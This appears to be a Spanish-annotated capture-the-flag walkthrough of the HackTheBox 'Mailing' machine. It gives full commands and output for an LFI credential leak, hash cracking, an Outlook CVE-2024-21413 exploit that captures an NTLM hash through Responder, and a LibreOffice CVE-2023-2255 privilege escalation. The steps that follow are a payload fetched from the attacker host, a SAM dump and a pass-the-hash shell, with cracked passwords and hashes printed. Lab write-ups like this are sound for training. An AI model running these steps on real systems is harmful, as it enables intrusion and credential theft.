Mailing

nmap

nmap -sC -sV 10.10.11.14 Starting Nmap 7.94SVN (https://nmap.org) at 2024-05-18 17:50 EDT Nmap scan report for 10.10.11.14 Host is up (0.12s latency). Not shown: 992 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 25/tcp open smtp hMailServer smtpd | smtp-commands: mailing.htb, SIZE 20480000, AUTH LOGIN PLAIN, HELP L 211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY Microsoft IIS httpd 10.0 80/tcp open http http-server-header: Microsoft-IIS/10.0 Lhttp-title: Did not follow redirect to http://mailing.htb hMailServer pop3d 110/tcp open pop3 _pop3-capabilities: UIDL TOP USER 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds? 465/tcp open ssl/smtp hMailServer smtpd _ssl-date: TLS randomness does not represent time smtp-commands: mailing.htb, SIZE 20480000, AUTH LOGIN PLAIN, HELP |_ 211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY | ssl-cert: Subject: commonName=mailing.htb/organizationName=Mailing Ltd/stateOrProvinceName=EU\Spain/countryName=EU I Not valid before: 2024-02-27T18:24:10 | Not valid after: 2029-10-06T18:24:10 587/tcp open smtp hMailServer smtpd Lssl-date: TLS randomness does not represent time | ssl-cert: Subject: commonName=mailing.htb/organizationName=Mailing Ltd/stateOrProvinceName=EU\Spain/countryName=EU | Not valid before: 2024-02-27T18:24:10 _Not valid after: 2029-10-06T18:24:10 smtp-commands: mailing.htb, SIZE 20480000, STARTTLS, AUTH LOGIN PLAIN, HELP L 211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY 993/tcp open ssl/imap hMailServer imapd _ssl-date: TLS randomness does not represent time | ssl-cert: Subject: commonName=mailing.htb/organizationName=Mailing Ltd/stateOrProvinceName=EU\Spain/countryName=EU | Not valid before: 2024-02-27T18:24:10 | Not valid after: 2029-10-06T18:24:10 I imap-capabilities: SORT IMAP4 IMAP4rev1 OK ACL IDLE completed QUOTA CAPABILITY RIGHTS=texkA0001 NAMESPACE CHILDREN Service Info: Host: mailing.htb; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:

| smb2-security-mode:

3:1:1:

Message signing enabled but not required

I smb2-time:

| date: 2024-05-18T21:51:01

_ start_date: N/A _clock-skew: -1s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/.

Nmap done: 1 IP address (1 host up) scanned in 80.24 seconds

masscan -p1-65355,U:1-65535 10.10.11.14 --rate=1000 -e tun0

Starting masscan 1.3.2 (http://bit.ly/14GZzcT) at 2024-05-18 21:55:53 GMT

Initiating SYN Stealth Scan

Scanning 1 hosts [130890 ports/host]

Discovered open port 587/tcp on 10.10.11.14

Discovered open port 49667/tcp on 10.10.11.14

Discovered open port 49666/tcp on 10.10.11.14

Discovered open port 80/tcp on 10.10.11.14

Discovered open port 49665/tcp on 10.10.11.14

Discovered open port 5040/tcp on 10.10.11.14

Discovered open port 465/tcp on 10.10.11.14

Discovered open port 445/tcp on 10.10.11.14

Discovered open port 57224/tcp on 10.10.11.14

Discovered open port 56630/tcp on 10.10.11.14 Discovered open port 47001/tcp on 10.10.11.14

Discovered open port 49664/tcp on 10.10.11.14

Discovered open port 993/tcp on 10.10.11.14

Discovered open port 135/tcp on 10.10.11.14

Discovered open port 143/tcp on 10.10.11.14

Discovered open port 139/tcp on 10.10.11.14 Discovered open port 5985/tcp on 10.10.11.14 Discovered open port 25/tcp on 10.10.11.14 Discovered open port 49668/tcp on 10.10.11.14

LFI

#Realizamos una petición de descarga a ../../etc/hosts GET /download.php../../etc/passwd HTTP/1.1

Host: mailing.htb

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate, br

Connection: close

Referer: http://mailing.htb/

Upgrade-Insecure-Requests: 1

#Vemos este error <div class="content-container"><fieldset>

<h2>404 - File or directory not found.</h2>

<h3>The resource you are looking for might have been removed, had its name changed, or is temporarily unavailable.</h3>

</fieldset></div>

#Probamos con LFI al fichero MailServer..INI, vermos algunos hashes. ?file=../../.Program+Files+(x86)/hMailServer/Bin/hMailServer..INI

GET /download.php?file=../../../Program+Files+(x86)/hMailServer/bin/hMailServer.INI HTTP/1.1

Host: mailing.htb

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate, br

Connection: close

Referer: http://mailing.htb/

Upgrade-Insecure-Requests: 1

#Obtenemos la respuesta del servidor:

HTTP/1.1 200 OK

Cache-Control: must-revalidate

Pragma: public

Content-Type: application/octet-stream

Expires: 0

Server: Microsoft-IIS/10.0 X-Powered-By: PHP/8.3.3

Content-Description: File Transfer

Content-Disposition: attachment; filename="hMailServer.INI"

X-Powered-By: ASP.NET

Date: Sat, 01 Jun 2024 13:59:23 GMT

Connection: close Content-Length: 604

[Directories]

ProgramFolder=C:\Program Files (x86)\hMailServer

 $Database Folder = C: \label{lem:condition} Parabase Folder = C: \l$

DataFolder=C:\Program Files (x86)\hMailServer\Data

LogFolder=C:\Program Files (x86)\hMailServer\Logs TempFolder=C:\Program Files (x86)\hMailServer\Temp EventFolder=C:\Program Files (x86)\hMailServer\Events

[GUILanguages]

ValidLanguages=english,swedish

[Security]

AdministratorPassword=841bb5acfa6779ae432fd7a4e6600ba7

[Database] Type=MSSQLCE

Username=

Password=0a9f8ad8bf896b501dde74f08efd7e4c

PasswordEncryption=1

Port=0

Server=

Database=hMailServer

Internal=1

#Le haremos bruteforce al hash del admin. hash=841bb5acfa6779ae432fd7a4e6600ba7

HASH: 841bb5acfa6779ae432fd7a4e6600ba7

Possible Hashs:

[+] MD5

[+] Domain Cached Credentials - MD4(MD4((\$pass)).(strtolower(\$username)))

hashcat hash.txt --wordlist /home/alle/Desktop/wordlists/rockyou.txt -m 0 hashcat (v6.2.6) starting

OpenCL API (OpenCL 3.0 PoCL 5.0+debian Linux, None+Asserts, RELOC, SPIR, LLVM 17.0.6, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]

* Device #1: cpu-haswell-Intel(R) Core(TM) i5-10400F CPU @ 2.90GHz, 2882/5829 MB (1024 MB allocatable), 12MCU

Minimum password length supported by kernel: 0 Maximum password length supported by kernel: 256

Hashes: 1 digests; 1 unique digests, 1 unique salts

Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates

Rules: 1

Optimizers applied:

- * Zero-Byte
- * Early-Skip
- * Not-Salted
- * Not-Iterated
- * Single-Hash
- * Single-Salt
- * Raw-Hash

ATTENTION! Pure (unoptimized) backend kernels selected.

Pure kernels can crack longer passwords, but drastically reduce performance. If you want to switch to optimized kernels, append -O to your commandline. See the above message to find out about the exact limits.

Watchdog: Hardware monitoring interface not found on your system.

Watchdog: Temperature abort trigger disabled.

Host memory required for this attack: 3 MB

Dictionary cache built:

* Filename..: /home/alle/Desktop/wordlists/rockyou.txt

* Passwords.: 14344395 * Bytes....: 139921532 * Keyspace.:: 14344388 * Runtime...: 1 sec

841bb5acfa6779ae432fd7a4e6600ba7:homenetworkingadministrator

Session......: hashcat Status.....: Cracked Hash.Mode.....: 0 (MD5) Hash.Target.....: 841bb5acfa6779ae432fd7a4e6600ba7

Time.Started....: Sat Jun 116:07:50 2024 (2 secs) Time.Estimated...: Sat Jun 116:07:52 2024 (0 secs)

Kernel.Feature...: Pure Kernel

Guess.Base......: File (/home/alle/Desktop/wordlists/rockyou.txt)

Guess.Queue.....: 1/1 (100.00%)

Speed.#1......: 3625.6 kH/s (0.24ms) @ Accel:512 Loops:1 Thr:1 Vec:8 Recovered......: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)

Progress.....: 7563264/14344388 (52.73%)

Rejected.....: 0/7563264 (0.00%)

Restore.Point....: 7557120/14344388 (52.68%) Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1

Candidate.Engine.: Device Generator

Candidates.#1....: honey@miel -> home38886951

Started: Sat Jun 116:07:48 2024 Stopped: Sat Jun 116:07:54 2024

#Tenemos las credenciales.

user → admin

passwd → homenetworkingadministrator

CVE-2024-21413

CVE-2024-21413 | Microsoft Outlook Remote Code Execution Vulnerability PoC

#Aplicaremos este poc en base a las intrusctrios.pdf descargado anteriormente https://github.com/xaitax/CVE-2024-21413-Microsoft-Outlook-Remote-Code-Execution-Vulnerability.git

#Abrimos el responder: sudo responder -I tun0

#Ejecutamos el poc.

python3 CVE-2024-21413.py --server 10.10.11.14 --port 587 --username administrator@mailing.htb --password homenetworkingadministrator --sender administrator@mailing.htb --recipient maya@mailing.htb --url "\\10.10.14.106\test\meeting" --subject test

CVE-2024-21413 | Microsoft Outlook Remote Code Execution Vulnerability PoC. Alexander Hagenah / @xaitax / ah@primepage.de

Email sent successfully.

NBT-NS, LLMNR & MDNS Responder 3.1.4.0

To support this project:

 ${\sf Github} {\: \hbox{--}\!\!\!>} {\: \underline{\sf https://github.com/sponsors/lgandx}}$

Paypal -> https://paypal.me/PythonResponder

Author: Laurent Gaffie (laurent.gaffie@gmail.com)

To kill this script hit CTRL-C

[+] Poisoners:

LLMNR [ON]
NBT-NS [ON]
MDNS [ON]
DNS [ON]
DHCP [OFF]

[+] Servers:

HTTP server [ON] HTTPS server [ON] [OFF] WPAD proxy [OFF] Auth proxy SMB server [NO] Kerberos server [ON] [ON] SQL server FTP server [ON] IMAP server [ON] POP3 server [ON] SMTP server [ON] DNS server [ON] LDAP server [ON] [ON] MQTT server RDP server [ON] DCE-RPC server [ON] WinRM server [NO] SNMP server [OFF]

[+] HTTP Options:

Always serving EXE [OFF]
Serving EXE [OFF]
Serving HTML [OFF]
Upstream Proxy [OFF]

[+] Poisoning Options:

Analyze Mode [OFF]
Force WPAD auth [OFF]
Force Basic Auth [OFF]
Force LM downgrade [OFF]
Force ESS downgrade [OFF]

[+] Generic Options:

Responder NIC [tun0]
Responder IP [10.10.14.106]
Responder IPv6 [dead:beef:2::1068]

Challenge set [random]

Don't Respond To Names ['ISATAP', 'ISATAP.LOCAL']

[+] Current Session Variables:

Responder Machine Name [WIN-YYOTGMQG8A6]

Responder Domain Name [2HBX.LOCAL] Responder DCE-RPC Port [45360]

[+] Listening for events...

[SMB] NTLMv2-SSP Client : 10.10.11.14 [SMB] NTLMv2-SSP Username: MAILING\maya

[SMB] NTLMv2-SSP Hash : maya::MAILING:5e66b419752064cc:48D196DC9900056DDAABF450BDC46A1C:

[*] Skipping previously captured hash for MAILING\maya

#Una vez tenemos el hash, proceremos a crackearlo. hash.txt

maya::MAILING:5e66b419752064cc:48D196DC9900056DDAABF450BDC46A1C:

#Ya tenemos las credenciles:

hashcat NTLMv2_hash.txt --wordlist /home/alle/Desktop/wordlists/rockyou.txt -m 0hashcat (v6.2.6) starting

OpenCL API (OpenCL 3.0 PoCL 5.0+debian Linux, None+Asserts, RELOC, SPIR, LLVM 17.0.6, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]

* Device #1: cpu-haswell-Intel(R) Core(TM) i5-10400F CPU @ 2.90GHz, 2882/5829 MB (1024 MB allocatable), 12MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256

Hashfile 'NTLMv2_hash.txt' on line 1 (maya::...2E003100300036000000000000000): Token length exception

* Token length exception: 1/1 hashes

This error happens if the wrong hash type is specified, if the hashes are malformed, or if input is otherwise not as expected (for example, if the --username option is used but no username is present)

No hashes loaded.

Started: Sat Jun 116:23:07 2024 Stopped: Sat Jun 116:23:08 2024

(alle@DESKTOP-H80F5II)-[~/Desktop/machines/Mailing]

\$\tashcat NTLMv2_hash.txt --wordlist /home/alle/Desktop/wordlists/rockyou.txt -m 5600

hashcat (v6.2.6) starting

OpenCL API (OpenCL 3.0 PoCL 5.0+debian Linux, None+Asserts, RELOC, SPIR, LLVM 17.0.6, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl

* Device #1: cpu-haswell-Intel(R) Core(TM) i5-10400F CPU @ 2.90GHz, 2882/5829 MB (1024 MB allocatable), 12MCU

Minimum password length supported by kernel: 0 Maximum password length supported by kernel: 256

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Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates

Rules: 1

Optimizers applied:

- * Zero-Byte
- * Not-Iterated
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- * Single-Salt

ATTENTION! Pure (unoptimized) backend kernels selected.

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Watchdog: Hardware monitoring interface not found on your system.

Watchdog: Temperature abort trigger disabled.

Host memory required for this attack: 3 MB

Dictionary cache hit:

* Filename..: /home/alle/Desktop/wordlists/rockyou.txt

* Passwords.: 14344388 * Bytes....: 139921532 * Keyspace..: 14344388

MAYA::MAILING:5e66b419752064cc:48d196dc9900056ddaabf450bdc46a1c:

user → MAYA passwd → m4y4ngs4ri

root

#Observamos que aplicaciones, tine el host:

Evil-WinRM PS C:\> cd "Program Files"

Directory: C:\Program Files

Mode 	LastWriteTime	Length Name
	2/27/2024 5:30 PM	
d	3/3/2024 4:40 PM	dotnet
d	3/3/2024 4:32 PM	Git
	4/29/2024 6:54 PM	
	3/4/2024 6:57 PM	
		Microsoft Update Health Tools
d	12/7/2019 10:14 AM	ModifiableWindowsApps
	2/27/2024 4:58 PM	
d	2/27/2024 5:30 PM	OpenSSL-Win64
d	3/13/2024 4:49 PM	PackageManagement
d	2/27/2024 4:58 PM	Reference Assemblies
d	3/13/2024 4:48 PM	RUXIM
d	2/27/2024 4:32 PM	VMware
d	3/3/2024 5:13 PM	Windows Defender
d	4/29/2024 6:54 PM	Windows Defender Advanced Threat Protection
	3/3/2024 5:13 PM	
d	3/3/2024 5:13 PM	Windows Media Player
d	4/29/2024 6:54 PM	Windows Multimedia Platform
d	2/27/2024 4:26 PM	Windows NT
d	3/3/2024 5:13 PM	Windows Photo Viewer
d	4/29/2024 6:54 PM	Windows Portable Devices
d	12/7/2019 10:31 AM	Windows Security
d	3/13/2024 4:49 PM	WindowsPowerShell

^{*}Evil-WinRM* PS C:\Program Files>

#Podemos ver que se está ejecutando Libre Office 7.4

Evil-WinRM PS C:\Program Files\LibreOffice\readmes> type readme_es.txt

Léame de LibreOffice 7.4

#Trataremos de explotarla con esta vulnerabilidad CVE-2023-2255:

https://www.libreoffice.org/about-us/security/advisories/cve-2023-2255/

https://github.com/elweth-sec/CVE-2023-2255

#Usage:

Exploit

Just an example to drop a webshell in current directory.

python3 CVE-2023-2255.py --cmd 'wget https://raw.githubusercontent.com/elweth-sec/CVE-2023-2255/main/webshell.php' --output 'exploit.odt'

#Creamos el exploit con el formato "exploit.odt"

 $python 3\ CVE-2023-2255. py\ --cmd\ 'net\ local group\ Administratores\ maya\ /add'\ --output\ 'exploit.odt'\ --output\ --output\ 'exploit.odt'\ --output\ --ou$

File exploit.odt has been created!

#Mediante el comando curl, subiremos el exploit al equipo.

#Lo subiremos dentro del directorio "C:\Import Documents\"

Evil-WinRM PS C:\Important Documents> curl -o exploit.odt http://10.10.14.106/exploit.odt

^{*}Evil-WinRM* PS C:\Program Files> dir

^{*}Evil-WinRM* PS C:\Important Documents> dir

Mode LastWriteTime Length Name

-a---- 6/1/2024 4:39 PM 30526 exploit.odt

priv_escaltion

#Vemos los permisos que tiene el usuario

Evil-WinRM PS C:\Important Documents> net users maya

User name maya

Full Name Comment User's comment

Country/region code 000 (System Default)

Account active Yes
Account expires Never

Password last set 2024-04-12 4:16:20 AM

Password expires Never

Password changeable 2024-04-12 4:16:20 AM

Password required Yes
User may change password Yes

Workstations allowed All

Logon script User profile Home directory

Last logon 2024-06-014:39:45 PM

Logon hours allowed All

Local Group Memberships *Remote Management Use*Usuarios

*Usuarios de escritori

Global Group memberships *Ninguno The command completed successfully.

#Mediente el "exploit.odt", modificamos los permisos.

#Esperamos unos segundos y...

Evil-WinRM PS C:\Important Documents> net users maya

User name maya

Full Name Comment User's comment

Country/region code 000 (System Default)

Account active Yes
Account expires Never

Password last set 2024-04-12 4:16:20 AM

Password expires Never

Password changeable 2024-04-12 4:16:20 AM

Password required Yes
User may change password Yes

Workstations allowed All

Logon script User profile Home directory

Last logon 2024-06-01 4:41:48 PM

Logon hours allowed All

Local Group Memberships *Administradores *Remote Management Use

*Usuarios *Usuarios de escritori

Global Group memberships *Ninguno The command completed successfully.

#Ya tenemos permisos de adminsuración.

#Conectaremos con crackmapexe smb al recurso comartido para obener el golden ticket. TGT.

#Lo haremos mediante el uso de las credenciles del usuario maya, dumpearemos los hashes del usuario.

crackmapexec smb 10.10.11.14 -u maya -p "m4y4ngs4ri" --sam[*] First time use detected

- [*] Creating home directory structure
- [*] Creating default workspace
- [*] Initializing FTP protocol database
- [*] Initializing MSSQL protocol database

- [*] Initializing SMB protocol database
- [*] Initializing WINRM protocol database
- [*] Initializing SSH protocol database
- [*] Initializing RDP protocol database
- [*] Initializing LDAP protocol database
- [*] Copying default configuration file
- [*] Generating SSL certificate

SMB 10.10.11.14 445 MAILING SMB 10.10.11.14 445 MAILING [*] Windows 10 / Server 2019 Build 19041 x64 (name:MAILING) (domain:MAILING) (signing:False) (SMBv1:False)

[+] MAILING\maya:m4y4ngs4ri (Pwn3d!)

SMB 10.10.11.14 445 MAILING ^[[SMB 10.10.11.14 445 MAILING

Administrador:500:aad3b435b51404eeaad3b435b51404ee:

31d6cfe0d16ae931b73c59d7e0c089c0:::

SMB 10.10.11.14 445 MAILING

Invitado:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

10.10.11.14 445 MAILING DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:

[+] Dumping SAM hashes

31d6cfe0d16ae931b73c59d7e0c089c0:::

SMB 10.10.11.14 445 MAILING WDAGUtilityAccount:

504:aad3b435b51404eeaad3b435b51404ee:e349e2966c623fcb0a254e866a9a7e4c:::

SMB 10.10.11.14 445 MAILING localadmin:1001:aad3b435b51404eeaad3b435b51404ee:

9aa582783780d1546d62f2d102daefae:::

SMB 10.10.11.14 445 MAILING maya:1002:aad3b435b51404eeaad3b435b51404ee:af760798079bf7a3d80253126d3d28af:::

SMB 10.10.11.14 445 MAILING [+] Added 6 SAM hashes to the database

#Con impacket-wmiexec, nos conectamos con el hash.

impacket-wmiexec localadmin@10.10.11.14 -hashes "aad3b435b51404eeaad3b435b51404ee:9aa582783780d1546d62f2d102daefae" Impacket v0.12.0.dev1 - Copyright 2023 Fortra

[*] SMBv3.0 dialect used

[!] Launching semi-interactive shell - Careful what you execute

[!] Press help for extra shell commands

C:\>cd Users

SMB

C:\Users>cd localadmin

cd DesC:\Users\localadmin>cd Desktop

tyC:\Users\localadmin\Desktop>type root.txt

89525615b4ac5188080965ddb1c4d699